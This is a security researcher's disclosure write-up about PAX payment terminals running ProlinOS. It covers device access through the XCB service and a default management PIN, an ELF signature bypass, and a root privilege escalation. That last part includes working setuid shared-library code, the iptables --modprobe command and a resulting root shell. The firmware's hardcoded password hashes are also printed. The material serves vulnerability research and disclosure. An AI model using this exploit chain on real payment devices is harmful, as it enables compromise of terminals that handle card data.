Vulnerabilities and tools for the PAX Payment Devices, including D200, S80, S300, S800, S900, S920

Giulio 80e838ea51 Added official PAX response 2 weeks ago
code 912aea7dee Added kernel and ramdisk to firmware tree 5 months ago
files 0c49a21a8a ProlinOS release from http://files.nilsoft.ru/ProlinOS/ 5 months ago
firmware b745de4c5f Extracted mtd5, 'base' 5 months ago
images da0fa3fd73 Moved image in correct dir 1 month ago
pdf 2a89b532e7 Added driver and utils for linux and win 5 months ago
utils 7d5e76bf9f Writeup draft 5 months ago
.gitmodules 499c1e91e8 Added privesc code and xcb-client 5 months ago
Readme.md 80e838ea51 Added official PAX response 2 weeks ago

Readme.md

Greetz

Most work done by me. Special thanks to cogitoergor00t and all the JBZ crew.

Intro

PAX is a Chinese manufacturer of payment devices, and as per their claim they have sold more than 34 million units in 110 countries.

They mainly have two kinds of products, those based on ProlinOS, which is a custom OS developed by them and derived from Android and those based directly on a more vanilla Android.

This research is focused on the devices running ProlinOS, which are:

D190
D200
D210
Q80
Q92
S80
S300
S800
S900
S920

Other models might be running ProlinOS too but their specification is not detailed on the official PAX website.

For this research, I have bought a S900 from eBay and was lucky enough to find a used model targeted at developers. I will specify when something applies only to the developer model and not the production ones, although very little differs in terms of vulnerabilities.

CVEs

  • Arbitrary read/write - CVE-2020-28044
  • ELF signature bypass - CVE-2020-28045
  • Root privesc - CVE-2020-28046

Pictures

PAX S900 from eBay

Resources

Before starting the analysis, I found the following resources very useful:

PDF:

Files:

FCC Documents:

It's possible to see clearly from the Internal Photos PDF that the device has an additional battery and multiple anti-tampering contacts; there's also a warranty sticker on the side. Hardware attacks are probably possible, but out of scope here as I lack both skills and equipment to work in that direction. Furthermore, a hardware attack would be more difficult to execute in real-life scenarios because of the circumstances in which a POS is used.

Hardware Info

The device has a color display, WiFi, GSM, Bluetooth, an AC charging port, and two mini USB ports. From the specifications, one is used for serial communication and the other one for USB communication. It has a Broadcom BCM5892, 128MB of flash and 64MB of RAM.

ProlinOS

ProlinOS is a minimal Linux distribution, probably derived from Android.

Communication

The device needs to be rebooted into the management interface (called TM). To do so on the S900 press the number 2 repeatedly during boot (even after the SELF-TEST screen). On the D200 do the same but with the key F2. Other devices have probably similar keys, and they can be guessed in a few attempts.

From there go to System Config. enter the default pin which is 123456 and enable the XCB service. The XCB service can run both via the serial interface and network, depending on the model and the version of ProlinOS. For the serial interface, use the driver provided in the links in the Intro section, for the network interface, first connect the device to a WiFi network and the service will be on <ip>:5555.

The development kit found online is composed of a GUI called TermAssist on Windows and an executable, called xcb. It turns out that TermAssist is just an interface of xcb.

It turns out, that, although xcb calls itself Xos Communication Bridge it's just a slightly modified version android ADB.

I reversed the client and modified python-adb accordingly (and also added code to make it work over serial interface). Here's the repository for the custom client. Pull request to add serial support to python-adb.

shell functionality has been removed, as many others, but push, pull, ls and port forwarding are still available even if not present in the program help. Supposedly, xcb is intended only for adding applications to the device (which needs to be signed), updating ProlinOS (again, signed stuff), adding assets to existing applications (images, front, etc all unsigned) and eventually adding user-provided keys for signing packages. It is yet unclear to me if user-provided keys need to be signed by the manufacturer and in which format they are to be supplied because I didn't look into it.

There's also a telnet command which will port forward to the local machine a telnet daemon. This command will only work on development devices because the whole telnet binary is removed from busybox on production devices.

Debug Level

Devices have three debug levels:

  • 0 -> Production devices, busybox has no sh nor telnet, xcb works
  • 1 -> Application development devices, busybox has both sh and telnet. There's also a handy gdbserver in place. Root access is disabled, kernel, kernel modules, and some PAX configuration and binaries are not readable
  • 2 -> Prolin development devices, root should be available with a hardcoded password

We'll see that from debug level 0 it is possible to escalate to root privileges. The pos used for this article is in debug level 1. A production device won't have a working telnet/shell by default. However that functionality can be restored by overwriting a shared library using the arbitrary read/write in XCB or by porting the already signed binaries from a debug device.

Basic Linux info

From the development S900:

~ $ uname -a
Linux localhost 3.0.56+ #1 Wed Mar 9 13:09:46 CST 2016 armv6l GNU/Linux
~ $ netstat -a
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 127.0.0.1:7037          0.0.0.0:*               LISTEN
Active UNIX domain sockets (servers and established)
Proto RefCnt Flags       Type       State         I-Node Path
unix  2      [ ACC ]     STREAM     LISTENING        842 /dev/socket/property_service
unix  2      [ ACC ]     STREAM     LISTENING        869 /tmp/crashd
unix  2      [ ACC ]     STREAM     LISTENING        877 /tmp/MODEM_DAEMON_SERVER
unix  2      [ ACC ]     STREAM     LISTENING        880 /tmp/MODEM_POWER
unix  2      [ ACC ]     STREAM     LISTENING        885 /tmp/pm_socket
unix  2      [ ]         DGRAM                       900 /var/run/wpa_supplicant/wlan0
unix  2      [ ACC ]     STREAM     LISTENING        913 /tmp/PED_DAEMON_SERVER
unix  2      [ ACC ]     STREAM     LISTENING        917 /tmp/PED_SHUTDOWN_SERVER
unix  2      [ ACC ]     STREAM     LISTENING        929 /tmp/ipservice_server
unix  3      [ ]         STREAM     CONNECTED        971
unix  3      [ ]         STREAM     CONNECTED        970
unix  3      [ ]         STREAM     CONNECTED        944
unix  3      [ ]         STREAM     CONNECTED        943
unix  3      [ ]         STREAM     CONNECTED        888
unix  3      [ ]         STREAM     CONNECTED        887
unix  3      [ ]         STREAM     CONNECTED        873
unix  3      [ ]         STREAM     CONNECTED        872
unix  3      [ ]         STREAM     CONNECTED        868
unix  3      [ ]         STREAM     CONNECTED        867
unix  3      [ ]         STREAM     CONNECTED        845
unix  3      [ ]         STREAM     CONNECTED        844
~ $ ls /bin
[          chown      false      killall    ls         mknod      ps         rz         sync       true       yes
[[         clear      find       less       lsb        mount      pwd        sb         sz         udhcpc6
ash        cp         gdbserver  ln         lsx        mv         rb         setprop    tee        umount
busybox    date       getprop    lock       lsz        netstat    readlink   sh         test       uname
cat        dmesg      hexdump    lrb        md5sum     nice       rm         sleep      time       vi
chgrp      echo       id         lrx        mkdir      ping       rmdir      su         top        wget
chmod      env        kill       lrz        mkfifo     ping6      rx         sx         touch      xlogin

~ $ ls /usr/bin/
crashd                 ip6tables-save         logcat                 systemservice          xcbd
devinfo                ipservice              logwrapper             tm                     xtables-multi
gpsd                   iptables               modemd                 ts_calibrate
installer              iptables-restore       pedd                   wpa_supplicant
ip6tables              iptables-save          runapp                 wpa_supplicant_ap6181
ip6tables-restore      keyman                 servicemanager         xcb
~ $ lsmod
Module                  Size  Used by    Tainted: P
lcd_panel_TM035KBH08_36     2917  0
lcd_hw_ctrl             3175  0
lcd_fb                  6024  2
asix                   41551  0
prt_printer           259191  0
logger                265925 14
rsi_master             53658  0
rsi_client            210076  1 rsi_master
ads7846                 7341  0
bcm589x_i2s             7153  0
verify                  3046  0
bcm589x_sec            12844  0
bcm5892_bbl             7412  1
pcd_rc663              13826  0
pcd_base                6173  0
msr                    15271  0
sci_bcm5892_tda8026    21068  0
keypad_matrix           5211  0
input_base              8589  2 ads7846,keypad_matrix
misc                    6270  0
pmu_dummy               2878  4
bm_bq24103              1946  0
tty_host               10608  0
tty_devices            89511  2
bcm589x_otg           169745  1 tty_devices
bcm589x_dwccom         25580  1 bcm589x_otg
pm_bcm5892              3845  2 msr,keypad_matrix
ioconfig                8120  3 msr,sci_bcm5892_tda8026,keypad_matrix
S900_M07_P05_GPRS_MG323     2525  3 prt_printer,bm_bq24103,bcm589x_otg
devices_base           26185  7 pcd_base,msr,sci_bcm5892_tda8026,tty_host,tty_devices,bcm589x_otg,S900_M07_P05_GPRS_MG323
bcm5892_rtc             4938  0

Vulnerabilities

Arbitrary Read/Write (CVE-2020-28044)

As described in the "Communication" section, it is possible to list, read and write file and folders with MAINAPP permissions via XCB.

Signature Bypass and Code Execution (CVE-2020-28045)

Although ELF files need to be signed in order to be executed (later we'll see how), libraries apparently do not. This means that it is possible to run custom executables without issues, given that we have a working shell and LD_PRELOAD is working or that, even without a shell, we can overwrite a library in use by some application.

installer, which is the executable being called by xcbd (the xcb daemon server, like adbd) is responsible for verifying binary files before adding them. This does not mean that the kernel doesn't check again (it does) but means that ELF signature verification is available via userspace and is provided by a kernel module.

It simply opens the device /dev/verify, uses some ioctl calls and send the executable file. Depending on the ioctl results it is possible to determine if a binary file has been correctly signed. As per the signature format, it's possible to guess that it is simply made by an RSA 2048 signature appended at the end of the file plus the string SIGNED_VER:00001.

Privilege Escalation (CVE-2020-28046)

By looking into the device, there are mainly two possible vectors of privilege escalation which are:

  • The outdated kernel is vulnerable to dirtycow and many other kernel exploits
  • The only setuid binary is xtables-multi

I did try a couple of dirtycow payloads but they didn't work. I'm no kernel hacker and I have no privileges to debug the kernel (which by the way has been modified by PAX developers) so the xtables-multi binary looks more promising.

For those who don't know, xtables-multi is xtables multi-link binary for Netfilter's iptables and ip6tables.

xtables-multi
ERROR: No valid subcommand given.
Valid subcommands:
 * iptables
 * main4
 * iptables-save
 * save4
 * iptables-restore
 * restore4
 * iptables-xml
 * xml
 * ip6tables
 * main6
 * ip6tables-save
 * save6
 * ip6tables-restore
 * restore6
~ $ xtables-multi iptables
iptables v1.4.21: no command specified
Try `iptables -h' or 'iptables --help' for more information.

As we can see the version is not so new.

By just searching, in theory, it should be vulnerable to CVE-2019-11360. After a brief look at our xtables-multi binary which seems to have not been greatly modified from the original, and by looking at the source code of version 1.4.21, it's possible to see that it should indeed be vulnerable:

  • In iptables-restore.c there's the original buffer overflow as described by the original author of the CVE
  • It's also true for ip6tables-restore.c
  • There's an additional vulnerability, almost identical to the other two in iptables-xml.c. We can see that a quoted string can exceed the param_buffer[1024] and is then written there using strncpy(param_buffer, param_start, param_len); and there are no length checks. It has been fixed in the same commit of the first two, but the code has been removed before the release of the fixed version so i guess that the Netfilter developers noticed it.

With a couple of test it is possible to obtain a Segfault in both cases. ASLR is enabled and the NX bit is set, but no other protections seem to be present.

This way looked promising but in the meantime, we found a simpler way.

Iptables has a --modprobe options which is present in the usage documentation but is not greatly explicited on what it accepts and on how does it work. I already used it for a privilege escalation in a local CTF when the iptables binary was the only command allowed in sudoers.

As on how does it work it basically executes the command provided to the --modprobe switch, which might be an executable or a shell script. The main requirement is that the required module must be missing (otherwise the whole modprobe thing is useless), meaning that for example the nat module must be unloaded.

~ $ iptables -t nat -L
iptables v1.4.21: can't initialize iptables table `nat': Table does not exist (do you need to insmod?)
Perhaps iptables or your kernel needs to be upgraded.

So the first requirement is satisfied. However, it didn't work because the command didn't get executed because as it turns out, before attempting to load the module manually the code will check if the /proc/net/ip_tables_names file exists and use it as a reference.

~ $ ls -lart /proc/net/ip_tables_names
-r--r-----    1 root     root             0 Jun  1 17:29 /proc/net/ip_tables_names

Luckily there's also ip6tables which requires a different file, called /proc/net/ip6_tables_names and since we all know that the world is not IPv6 ready, this one indeed doesn't exists.

~ $ ls /proc/net/ip6_tables_names
ls: /proc/net/ip6_tables_names: No such file or directory

Lastly, we need a signed executable to run or a script (scripts do work because the interpreter, busybox is signed). Unfortunately, busybox, if run this way will instantly drop its privileges. Also, we cannot pass LD_PRELOAD to an execv call so the only way is to actually swap a library used by a signed executable that we can call.

Luckily, on my device there are two user-installed apps (every working terminal must have at least one) and they both use shared libraries which are writeable by the low privileged user. I wouldn't say that this itself is some kind of vulnerability because our current user is indeed the user responsible for installing (and thus if required overwriting) the applications and their assets.

So, some simple code like:

    #include <stdio.h>
    #include <sys/types.h>
    #include <stdlib.h>
    #include <unistd.h>

    int _init() {
            unsetenv("LD_PRELOAD");
            puts("LD_PRELOAD is working!");
            setreuid(0, 0);
            setuid(0);
            printf("UID: %d. EUID: %d.\n", getuid(), geteuid());
            system("/bin/sh");
            exit(0);
    }

Cross compiled:

arm-none-eabi-gcc -shared -fPIC -o privesc.so privesc.c -nostartfiles -static

Here are the two executables which are user writeable:

~ $ ls /data/app/MAINAPP/bin/
MablApp            MerchantDeviceApp

Required libraries:

host:/# arm-none-eabi-objdump -x MablApp | grep NEEDED
  NEEDED               libosal.so
  NEEDED               libarchive.so.13
  NEEDED               libsqlite3.so
  NEEDED               libcrypto.so.1.0.0
  NEEDED               libz.so.1
  NEEDED               libfreetype.so.6
  NEEDED               libpng12.so.0
  NEEDED               libpthread.so.0
  NEEDED               libts-1.0.so.0
  NEEDED               libxui.so
  NEEDED               libgcc_s.so.1
  NEEDED               libc.so.6

These libraries, on the device are in /data/app/MAINAPP/lib/. I choose to overwrite libsqlite3.so with privesc.so:

/data/app/MAINAPP $ id
uid=999(MAINAPP) gid=999(MAINAPP) groups=1(system),2(hwdev),999(MAINAPP),999(MAINAPP)
/data/app/MAINAPP $ xtables-multi ip6tables -t nat -L --modprobe=/data/app/MAINAPP/bin/MablApp
LD_PRELOAD is working!
My UID is: 0. My GID is: 999. My EUID is: 0


BusyBox v1.22.1 (2016-03-09 12:47:22 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.

/data/app/MAINAPP # id
uid=0(root) gid=999(MAINAPP) egid=0(root) groups=1(system),2(hwdev),999(MAINAPP),999(MAINAPP)

System Analysis

The bootloader is U-Boot.

This is the partition scheme:

dev:    size   erasesize  name
mtd0: 000c0000 00020000 "boot"          <- U-Boot image
mtd1: 00080000 00020000 "nvram_fac"     <- U-Boot environment
mtd2: 000c0000 00020000 "boot_res"      <- Boot resources, ie: boot logo
mtd3: 00400000 00020000 "kernel"        <- kernel binary
mtd4: 00600000 00020000 "ramdisk"       <- ramdisk containit init and kernel modules 
mtd5: 00600000 00020000 "base"          <- base system, including binaries and libraries
mtd6: 06e00000 00020000 "data"          <- user data, application executables, library and assets

The file init.rc gives an idea on how the system is started and how different debug levels are handled.

/usr/bin/tm is the binary responsible for the GUI management. The system password is AES encrypted and is stored in a user readable property:

A lot of interesting functions are done trough kernel modules, available here.

Hardware driver are implemented via a low level kernel module and a higher level abastraction module, and are available via the libosal.so library. In the case of this hardware revision of the S900, For the RFID reader:

pcd_rc663.ko    -> Hardware driver
pcd_base.ko     -> Middleware, creates /dev/pcd
libosal.so  -> Shared library, provides the OsPicc* functions trough interacting with /dev/pcd

For the magnetic stripe reader the family of functions is OSMsr* that uses the /dev/msr device and for SmartCards there are the OsIcc* functions that use the /dev/usercard device.

The graphic interface library is libxui.so.

Further Reasearch

By finding a vulnerability in a Merchant App, in libosal.so or in one in the kernel drivers a remote attack via a payment vector is theoretically possible. Unfortunately, due to the lack of second hand production PoS in the used market, I'm unable to get a test device with a working Merchant App unless I open a contract with a bank (which I don't want to). If anyone has contacts or is willing to provide one, or need assistance for futher research drop me an email or a tweet.

Reporting

I tried contacting several times PAX Global via email and never got a reply related to anything: neither about the security vulneabilities, neither on inquiries about the source code for the GPL licensed software (Linux/U-Boot).

Update

Following this public disclosure PAX got in touch with me. It turned out my previous emails on June 2020 were marked as spam and never read. Here's their official answer for the following two question:

  • Don't you have a patch distribution method and a remediation plan for vulnerabilities in your devices?

    We apply relevant security patches to all software components we use.
    
    For vulnerabilities •Arbitrary read/write - CVE-2020-28044, •ELF signature bypass - CVE-2020-28045 and •Root privesc - CVE-2020-28046, we have fixed them these days and the firmware is under releasing.
    
    For vulnerabilities "Dirty COW", our kernel had "Dirty COW" patch included once CVE-2016-5195 had been published.
    
  • Do you plan to release the source code, patches and build scripts for the modifications to the GPL licensed code?

    We certainly do comply with GPL version requirements, and had provided source code at requests before several years ago. Since we do not have automated or semi-automated procedure for that, we may need up to several weeks to review and isolate our proprietary code, and adjust the build scripts for the redaction.
     
    

Fun fact

I had issues understanding the shadow password format:

root:vCTc/8H/1/QoEXNamPGzhVGar/:0:0:99999:7:::
system:!/hEAV1:0:0:99999:7:::
hwdev:!.:0:0:99999:7:::
ped:!/:0:0:99999:7:::
SUBAPP:!:0:0:99999:7:::
MAINAPP:.olBn7f02Wgf.:0:0:99999:7:::

Until I found how that file is being generated (/startup/data-skeleton.sh):

[..]
/bin/cat << EOD > /data/etc/shadow
root:$1$9vCTc/8H$lRt/1/QoEXNamPGzhVGar/:0:0:99999:7:::
system:!$1$phzwtsL4$Qso0Z3H5eqoSUXwQ/hEAV1:0:0:99999:7:::
hwdev:!$1$jDG2WeUj$uM3mIyvZ1rkd11J7izXt6.:0:0:99999:7:::
ped:!$1$ZMsJtrjO$ibuMCiJvuyxQnrpkdptup/:0:0:99999:7:::
SUBAPP:!$1$gJUpez2c$U0Qv9IyoUAgD5cTSumbKB0:0:0:99999:7:::
MAINAPP:$1$wsdZqcgf$zD5mTBbZs.olBn7f02Wgf.:0:0:99999:7:::
EOD
/bin/chmod 0640 /data/etc/shadow
[..]

...